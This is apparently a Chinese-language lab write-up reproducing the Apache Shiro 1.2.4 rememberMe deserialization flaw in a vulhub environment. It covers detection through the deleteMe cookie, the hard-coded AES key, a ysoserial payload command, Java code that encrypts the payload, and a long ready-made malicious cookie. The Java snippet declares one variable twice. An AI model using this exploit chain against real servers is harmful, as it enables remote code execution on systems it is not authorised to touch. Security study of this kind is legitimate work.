Shiro1.2.4反序列化漏洞检测与复现

shiro的remember me 为记住我功能，用户登录成功后，下次访问系统时无需重新登录 。当使用"记住我"功能登录后，shiro在浏览器的cookie中保存序列化后的认证数据。之后浏览器访问项目会携带该cookie数据，这样不登录也可以完成认证

1.漏洞检测

不勾选Remember Me，登录失败，会返回set-cookie RememberMe=deleteMe

不勾选Remember Me，登录成功，会返回set-cookie RememberMe=deleteMe

勾选Remember Me，登录失败，会返回set-cookie RememberMe=deleteMe

勾选Remember Me，登录成功，会返回set-cookie RememberMe=deleteMe和一个set-cookie RememberMe=base64加密后的cookie值

总结起来是，在shiro框架的登录页面进行登录就会返回set-cookie RememberMe=deleteMe，当勾选Remember Me，登录成功，会返回set-cookie RememberMe=deleteMe和一个set-cookie RememberMe=base64加密后的cookie值
符合这样特征的网站就是极有可能使用了shiro的框架，可能存在shiro反序列化漏洞

可以使用burp结合shiroscan插件来检测shiro框架，只要将shiroscan插件装到burp中，当登录shiro网站的时候就会在插件的地方显示出来网站的地址，shiroscan插件可以从github上下载，安装很简单https://github.com/Daybr4ak/ShiroScan

2.漏洞原理

用户勾选RememberMe登录后，shiro框架将用户信息进行序列化，序列化的内容进行AES加密，再使用base64编码，最后给用户返回一个rememberMe的cookie。
而AES加密采用了一个固定的key kPH+bIxk5D2deZiIxcaaaA==，因此攻击者可以构造恶意的代码，将恶意代码进行序列化，再通过固定key对恶意代码进行AES加密，再base64编码
攻击者将这段恶意数据替换为正常的cookie值，这段cookie值发到后台后，shiro框架会将这段加密数据进行base64解码，再AES解密，最后反序列化，这样恶意代码将会被执行。

3.漏洞复现

利用vulhub靶场进行漏洞复现
生成payload（可以使用ysoserial工具生成，github上下载很方便https://github.com/frohoff/ysoserial）

java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

用shiro的固定key加密

import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.IOException;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class Test {
    public static void main(String[] args) throws IOException {
    //这里相对路径不成功可以写成绝对路径
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("..路径\\rmi", "to", "poc.ser"));
        Path filePath = Paths.get("..路径\\poc.ser");
        byte[] payloads = Files.readAllBytes(filePath);
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}



/*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
 */

修改remember me cookie

进入容器命令执行成功